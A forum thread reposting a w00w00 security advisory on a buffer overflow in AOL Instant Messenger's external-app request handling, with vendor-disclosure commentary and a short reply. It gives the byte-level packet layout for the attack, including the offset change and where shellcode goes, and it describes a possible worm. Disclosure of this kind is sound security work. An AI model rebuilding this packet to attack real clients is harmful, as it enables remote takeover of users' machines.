Exploit: AIM Overflow #2
Results 1 to 2 of 2

Thread: Exploit: AIM Overflow #2

  1. #1
    Fastest Thing Alive s0nIc's Avatar
    Join Date
    Sep 2001
    Location
    Sydney
    Posts
    1,584

    Cool Exploit: AIM Overflow #2

    AOL Instant Messenger is still vulnerable to a serious overflow, as
    discovered by John Hennessy while tweaking our example exploit,
    w00aimexp. A few simple modifications and it's the same thing, all
    over again.


    We'd like to raise attention to the fact that, despite the past press
    coverage on how difficult it was to communicate serious problems to
    AOL, nothing appears to have changed. John first contacted AOL the
    same way we did 4 months ago and got no response, so he passed the
    info on to us. We used the contact information we gleaned from the
    last escapade and informed AOL of the problem. They appear to have
    taken notice by filtering on the server-side, so we give them kudos;
    however, we were only able to get this fixed because we had the
    benefit of non-publicly available information about who to talk to.
    Had AOL taken heed from the first time this happened, John wouldn't
    have had to reach out to us in order to report this egregious bug.
    For that, we are disappointed, and once again insist that vendors
    NEED to make it easier to report vulnerabilities if they are at all
    interested in protecting their customers from less inhibited,
    malicious individuals.

    Therefore, we recommend users switch to an Instant Messaging provider
    that has well-defined venues for reporting vulnerabilities.

    DESCRIPTION

    This vulnerability is almost identical to the previous one and simply
    affects a different mechanism (AddExternalApp instead of
    AddGameRquest).

    AOL Instant Messenger (AIM) has a major security vulnerability in all
    stable (non-beta) versions dating back to 4.2. This vulnerability
    will allow remote penetration of the victim's system without any
    indication as to who performed the attack. There is no opportunity
    to refuse the request. This does not affect the non-Windows
    versions, because the non-Windows versions currently do not yet
    support the feature that this vulnerability occurs in.

    This particular vulnerability results from an overflow in the code
    that parses a request to run an external application. This works with
    any TLV type > 0x2711, because 0x2711 is filtered on the AIM server
    side from the first vulnerability we reported. It appears that we
    were correct in our original advisory when we stated, "This may be
    more generic and exploitable through other means, but AOL has not
    released enough information about their protocol for us to be able to
    determine that."

    NOTE: On the points of full disclosure and vendor reporting, w00w00
    would like to encourage folks to read the IETF draft "Security Through
    Obscurity Considered Dangerous" by Steven M. Bellovin and Randy Bush
    of AT&T Research, available at:
    http://www.ietf.org/internet-drafts/...scurity-00.txt

    IMPLICATIONS

    This has the same implications as the original advisory, so I will
    include the paragraphs from the first advisory:
    AOL Instant Messenger (http://www.aim.com) has over 100 million
    users. The implications of this vulnerability are huge and leave
    the door wide open for a worm not unlike those that Microsoft
    Outlook, IIS, et al. have all had (Melissa, ILOVEYOU, CodeRed,
    Nimda, etc.). An exploit could download itself off the web,
    determine the buddies of the victim, and then attack them also.
    Given the general nature of social networks and how they are
    structured, we predict that it wouldn't take long for such an
    attack to propagate.

    The particular overflow described supra allows a payload can be
    several thousand bytes long, which leaves lots of room for
    creative shellcode. In addition, the shellcode can have null
    bytes in it.

    EXPLOIT

    The differences between this in the first one are:
    1. Using TLV type > 0x2711 instead of 0x2711
    2. Using AddExternalApp instead of AddGameRequest
    3. The offset to EIP for this vulnerability is shifted down 200
    bytes.

    Since the code is so similar and this is already filterede, we
    won't be releasing additional source code.

    FLAP header (6 bytes)
    [x2a] '*' (magic number)
    [x02] channel (data)
    [x00x11] seqnum number
    [x07x87] packet length (1927 bytes)

    SNAC header (10 bytes)
    [x00x04] SNAC family (message)
    [x00x06] SNAC type (outgoing message)
    [x00x00] SNAC flags (none)
    [x00x00x00x09] SNAC ID

    [xa4x98xa3x56x54xbfxf2xfd] cookie

    [x00x02] SNAC channel (data)

    [x0c] victim screen name length
    [xXXxXXxXXxXXxXXxXXxXXxXXxXXxXXxXXxXX] victim screen name

    Now a set of TLV data types. There is a base container, type 0x05,
    that contains everything else. Inside of this are several smaller
    containers, with each TLV type following immediately after the
    previous. If those are misaligned, you'll receive a "busted SNAC
    payload" error.

    [x00x05] TLV type (0x05)
    [x07x62] TLV length (1890 bytes)

    [x00x00] cookie marker
    [xa4x98xa3x56x54xbfxf2xfd] cookie

    Capability used to exploit this libfaim calls it (SAVESTOCKS):
    [x09x46x13x47x4cx7fx11xd1x82x22x44x45x53x54x00x00]

    [x00x0a] TLV type (0x0a)
    [x00x02] TLV length (2 bytes)
    [x00x01] TLV data

    [x00x0f] TLV type (0x0f)
    [x00x00] TLV length (0)

    [x00x0e] TLV type (0x0e)
    [x00x02] TLV length (2 bytes)
    ["en"] TLV data (language)

    [x00x0d] TLV type (0x0d)
    [x00x08] TLV length (8 bytes)
    ["us-ascii"] TLV data (charset)

    [x00x0c] TLV type (0x0d)
    [x00x06] TLV length (6 bytes)
    ["w00w00"] TLV data (game's name?)

    [x00x03] TLV type (0x03)
    [x00x04] TLV length (4 bytes)
    [x40xa3x1ex4f]

    [x00x05] TLV type (0x05)
    [x00x02] TLV length (2 byte)
    [x14x46]

    [x00x07] TLV type (0x07)
    [x00x38] TLV length (56 bytes)
    ["aim:AddExternalApp?name=w00w00&url=http://www.w00w00.org"]

    [x27x12] TLV type (0x2712)
    [xXXxXX] TLV length (22 + length of shellcode)
    [x00x00x02x00x05x07x4cx7fx11xd1x82x22x44x45x53
    x54x00x00x00x0bx00x09 + shellcode starts here]

    PATCHES

    AOL is blocking this on the server side. Hopefully they'll
    also produce client side fixes. We'll have to wait and see how
    long it takes for someone to find another way around the filter.

    CREDIT

    w00w00 would like to thank John Hennessey for informing us of
    the problem after his attempts failed.

    Source: http://www.xatrix.org/article1461.html

  2. #2
    Senior Member
    Join Date
    Feb 2002
    Posts
    262
    Like you said this has been fixed on the AIM server side....so I don't think this will still work will it...?
    aislinn, Aria, BTBAM, chevelle, codeseven, Cky, dredg, evergreen terrace, from autumn to ashes,hopesfall, hxc, luti-kriss, nirvana, norma jean, shai hulud, this hero dies, tool, underoath, zao,

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •